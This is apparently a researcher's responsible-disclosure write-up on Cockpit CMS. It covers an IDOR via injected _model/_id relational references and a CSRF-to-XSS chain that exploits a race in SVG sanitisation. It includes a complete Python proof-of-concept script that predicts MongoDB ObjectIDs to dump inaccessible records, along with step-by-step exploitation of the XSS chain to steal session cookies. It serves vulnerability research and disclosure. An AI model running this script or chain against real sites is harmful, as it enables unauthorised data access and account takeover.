Vulnerabilities Disclosure Timeline

Exploiting Relational Mappings in the Content API

Relational mappings are great for storing complex data structures on databases. However, as I pointed out in my Strapi vulnerability disclosures early this year they pose a significant threat of being exploited to leak sensitive data.

Looking at Cockpit CMS, I discovered that it had Insecure Direct Object Reference (IDOR) vulnerability by exploiting relational mappings when populating fields. It is a pretty cool finding, so enjoy the details.

The Issue of Populating Relational Mappings

All actions for content besides files are handled by an API called Content (surprising name choice) and the source code is located in the modules/Content folder . Of particular interest to me was how the relational mappings were populated in the populate function in bootstrap.php (snippet of code below).

if (isset($v['_id'], $v['_model'])) {

    $model = $v['_model'];
    $array[$k] = $this->_resolveContentRef($v['_model'], (string)$v['_id'], $process);

    if ($array[$k]) {
        $array[$k] = $this->populate($array[$k], $maxlevel, ($level + 1), $process);
        $array[$k]['_model'] = $model;
    }
}

Explaining in english the above code, if the data that is being populated has an attribute named _id and _model then Cockpit CMS would resolve the mapping and fetch the corresponding data. The massive problem here is that there is no validation if the querying user is authorised to access that data .

Now this would be an interesting finding if I could find a way to inject in the _model and _id attributes into this populate function. So I decided to start up a test Cockpit CMS server on my local VM and analyse how data is handled on the CMS.

To do this, I created two separate Collections and configured one of the fields to be a "Link" to an entry in the other collection.

Then I simply created a new object using the Admin UI and took a look at the request.

Hmmmmm

That is very interesting that in the user's JSON request the _model and _id values are set. This lead to my next question:

Does the server actually validate the type of link that the user sends is the same as the one configured on the model?

To test this theory, I simply created another collection named "Secrets", created a test item and just resent the above request again.

Hmmmmmmmmmmm

Now this is getting intriguing. Cockpit CMS does not validate if a relational mapping is even mapping to the configured type for the field! Plus reading the code, I knew that the user's authorisation is not validated for this mapping so I have got a vulnerability here. Saying that, at this point it was only a low severity finding since it depended on a user having write privileges to a collection with a relational field...

Or did it?

Now this is where my initial ramblings about Cockpit CMS becomes important. Cockpit CMS uses a NoSQL database management system that stores entries in a BSON structure (for simplicity just think of JSON documents). This means that if the CMS does not even validate the type of attributes in a user's JSON request then you could modify the BSON structure that is stored on the database .

To test this, I created a Posts collection that had two fields that were not the "Content Link" type and enabled public read and write access to the collection.

Now as an unauthenticated user I tried to create a Post, but manipulate the type of the "Title" field into a relational link by injecting the _id and _model attribute.

The following screenshot confirms my suspicion that Cockpit CMS was not validating the types of inputs within the JSON request and I was able to modify the "Title" attribute to a JSON structure.

Now let the magic begin when I whack in ?populate=1 into the URL to trigger the vulnerable populate function.

However, I am not done yet.

The only issue is that in order to exploit this IDOR vulnerability, you need the name of the model to dump and the Object ID of the data to dump. Now the model name could be guessable, but that Object ID is not and appears to be random.

Or is it...

POC

So my thought process for the POC was.

1. Create an item to get the Object ID to seed this MongoDB Object ID predictor .
2. Generate a list of possible MongoDB Object IDs that are likely within the minute.
3. Spray and pray the exploit.

Below was the POC I sent the developers at Cockpit CMS along with the following GIF.

import argparse, json, requests
import tqdm
from mongo_objectid_predict import predict
from typing import Optional
from colorama import Fore, Style

def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)

    parser.add_argument(
        'target',
        help='URL to the target API endpoint. Eg. http://127.0.0.1/api/content/Items',
    )

    parser.add_argument(
        'payload_template',
        help="JSON payload for creating an item."
    )

    parser.add_argument(
        '-p', '--payload-key',
        help='The key in the payload_template to replace with payloads.',
        required=True
    )

    parser.add_argument(
        '-k', '--api-key',
        help='API key if required to access the API endpoint'
    )

    parser.add_argument(
        '-m', '--model',
        help='The name of the model that you want to dump items for that you cannot directly access.',
        required=True
    )

    parser.add_argument(
        '--counter-diff',
        help='Amount to bruteforce in the 3-byte counter in the MongoDB ObjectID',
        default=120,
        type=int
    )

    parser.add_argument(
        '--per-counter',
        help='How many seconds to bruteforce the ObjectID',
        default=1800,
        type=int
    )

    return parser.parse_args()

def create_item(target: str, template: dict, payload_key: str, payload_value: str, api_key: Optional[str]=None) -> requests.Response:
    template["data"][payload_key] = payload_value

    if api_key is None:
        return requests.post(
            target,
            json=template
        )

    return requests.post(
        target,
        json=template,
        headers={"api-key": api_key}
    )

def attempt_to_dump_obj(target: str, template: dict, model_name: str, id: str, payload_key: str, api_key: Optional[str]=None) -> bool:
    obj_ref = {"_model": model_name, "_id": id}
    r = create_item(target, template, payload_key, obj_ref, api_key=api_key)
    new_id = r.json()["_id"]

    if api_key is None:
        r = requests.get(
            target,
            params={
                "filter": json.dumps({"_id":new_id}),
                "populate":1
            }
        )
    else:
        r = requests.get(
            target,
            params={
                "filter": json.dumps({"_id":new_id}),
                "populate":1
            },
            headers={"api-key": api_key}
        )

    r_json = r.json()

    if "error" in r_json:
        return False

    if r_json[payload_key]:
        print()
        print(f"{Fore.GREEN}Found item for {Style.BRIGHT}{Fore.CYAN}{model_name} {Style.RESET_ALL}{Fore.GREEN}model!{Style.RESET_ALL}")
        print(f"{Style.BRIGHT}{Fore.RED}{json.dumps(r_json[payload_key], indent=4)}{Style.RESET_ALL}")
        print()
        return True
    return False


def main(args: argparse.Namespace):
    target = args.target
    payload_template = json.loads(args.payload_template)
    api_key = args.api_key
    target_model = args.model
    payload_key = args.payload_key
    counter_diff = args.counter_diff
    per_counter = args.per_counter

    # Get initial ID
    r = create_item(target, payload_template, payload_key, 'Test', api_key=api_key)
    base_id: str = r.json()["_id"]

    # Search around the base ID to dump items from the other model
    for test_id in tqdm.tqdm(predict(base_id, backward=True, counter_diff=counter_diff, per_counter=per_counter)):
        if attempt_to_dump_obj(target, payload_template, target_model, test_id, payload_key, api_key=api_key):
            break


if __name__ == "__main__":
    args = parse_args()
    main(args)

CSRF Everywhere...

After finding the IDOR vulnerability, I decided to continue looking at Cockpit CMS a bit further. I continued just interacting with the admin portal, looking through the requests when I noticed something very important was missing when I tried uploading a file using the Assets API...

Where on earth is the CSRF token validation for this file upload?

I started looking through the documentation to see if I accidentally misconfigured my Cockpit CMS server. Unfortunately, it turned out that the admin portal was never given the CSRF protection unlike the general API and every admin API action was vulnerable to CSRF !

Well that isn't great at all, especially considering that there is multiple methods to exploit these CSRF vulnerabilities to upload dangerous files:

• Assets API : The Assets API is the recommended admin API for managing files on Cockpit CMS that somewhat restricts what type of files can be uploaded. However, on a default installation any file type except .php , .phar and .phtml files.

• Finder API : The Finder API is specifically just for administrator users that are assigned the admin role. It consists of a tonne of dangerous functions for directly interacting with the file system and contains 'features' such as writeFile for writing into PHP files . These functions cannot be disabled and can be easily exploited on a default installation of Cockpit CMS. By default, it also allows uploading *.php , so it has RCE as a feature.

Those are some very dangerous default settings for a CMS. However, there are configuration settings that can be enabled that should of mitigated the likelihood of exploiting file upload vulnerabilities.

Let's harden my test server and see if I can still exploit these vulnerabilities.

CSRF to XSS

First I will look at the Assets API and see if I can leverage CSRF on Cockpit CMS to achieve XSS. Now some of you might of noticed I slightly cheated with my rule and allowed uploading SVG files, that can be used to run arbitrary JavaScript when a victim views the file . Well it isn't cheating because I made up the game so I can chose my own rules.

Anyway, it should of not mattered since Cockpit CMS sanitised SVG files using \SVGSanitizer::clean in the following code from modules/Assets/bootstrap.php .

...

$_file  = $this->app->path('#tmp:').'/'.$files['name'][$i];
$_isAllowed = $allowed === true ? true : preg_match("/\.({$allowed})$/i", $_file);
$_sizeAllowed = $max_size ? filesize($files['tmp_name'][$i]) < $max_size : true;

// prevent uploading php files
if ($_isAllowed && in_array(strtolower(pathinfo($_file, PATHINFO_EXTENSION)), ['php', 'phar', 'phtml'])) {
    $_isAllowed = false;
}

if (!$files['error'][$i] && $_isAllowed && $_sizeAllowed && move_uploaded_file($files['tmp_name'][$i], $_file)) {

    $_files[]   = $_file;
    $uploaded[] = $files['name'][$i];

    if (\preg_match('/\.(svg|xml)$/i', $_file)) {
        file_put_contents($_file, \SVGSanitizer::clean(\file_get_contents($_file)));
    }

} else {
    $failed[] = $files['name'][$i];
}

...

However, there is a mistake in the order of operations during this sanitisation process. Firstly, the file is moved from the temporary file upload directory set by PHP to storage/tmp on the server (code move_uploaded_file($files['tmp_name'][$i], $_file) ). Then it is sanitised using \SVGSanitizer::clean .

This causes a very very very small time window where the uploaded SVG file can be accessed from /storage/tmp on the website and \SVGSanitizer::clean has not completed sanitising the file. You can increase this time window by simply uploading a larger SVG file.

Perfect! I now have a self XSS vulnerability that I can combine with the CSRF vulnerability to build an exploit.

CSRF to XSS POC

The process of exploitation is:

1. When a victim user submits form on your malicious external website, first open a new tab to the malicious HTML code for step 2 and then upload a large SVG file with your JavaScript payload using the Asset API.

2. On the second tab that is opened, wait for a little bit then yeet the victim straight into uploaded SVG file in /storage/tmp before it is sanitised.

The following POC GIF demonstrates doing this CSRF to XSS exploit and stealing the victim user's session cookie.

How Cockpit CMS Patched This Vulnerability

The interesting thing was that Cockpit CMS did have a mechanism for CSRF token validation, just it was not implemented for the admin API. Artur added the CSRF token validation for the admin API actions within a day after my initial report ( Github commit ). However, I do still have some concerns with how Artur patched these vulnerabilities.

Firstly, the CSRF token validation method requires adding $this->hasValidCsrfToken(true); to each route for the internal API. This means that this vulnerability could be reintroduced again for a route if the $this->hasValidCsrfToken(true); was forgotten.

Secondly, the Finder API is basically file upload to RCE as a feature for Cockpit CMS administrators. I brought this up to Artur and he agreed that it is a powerful feature and that's why only administrator users have permission to use it. He did say just 'delete the finder folder in /modules if you're uncomfortable' (which I personally recommend for hardening your Cockpit CMS server).

Finally, the race condition issue that I exploited in the SVG file upload process using the Assets API is still not patched. However, since the CSRF vulnerability has been patched this is now only a self-XSS.

Conclusion

To conclude, I do want to give a huge shout out to Artur at Cockpit CMS for quickly responding and patching both of these vulnerabilities. So far, he has the record for the fastest patch I have seen for an open source project.

Saying that, from my brief vulnerability research into Cockpit CMS there can be more done to improve the security of the CMS. Both of the patches were effective at remediating the root cause for the vulnerabilities I reported. However, the patches were not complete since they do not prevent circumstantial edge cases or fix the issues of input validation that enabled these vulnerabilities in the first place. At the time of writing this article, there was no official documentation about hardening Cockpit CMS as well.

I wish I had more time to properly look through Cockpit CMS and conduct a more thorough review. Saying that, I do hope this article inspires other developers and security researchers to help Artur out with securing CMS.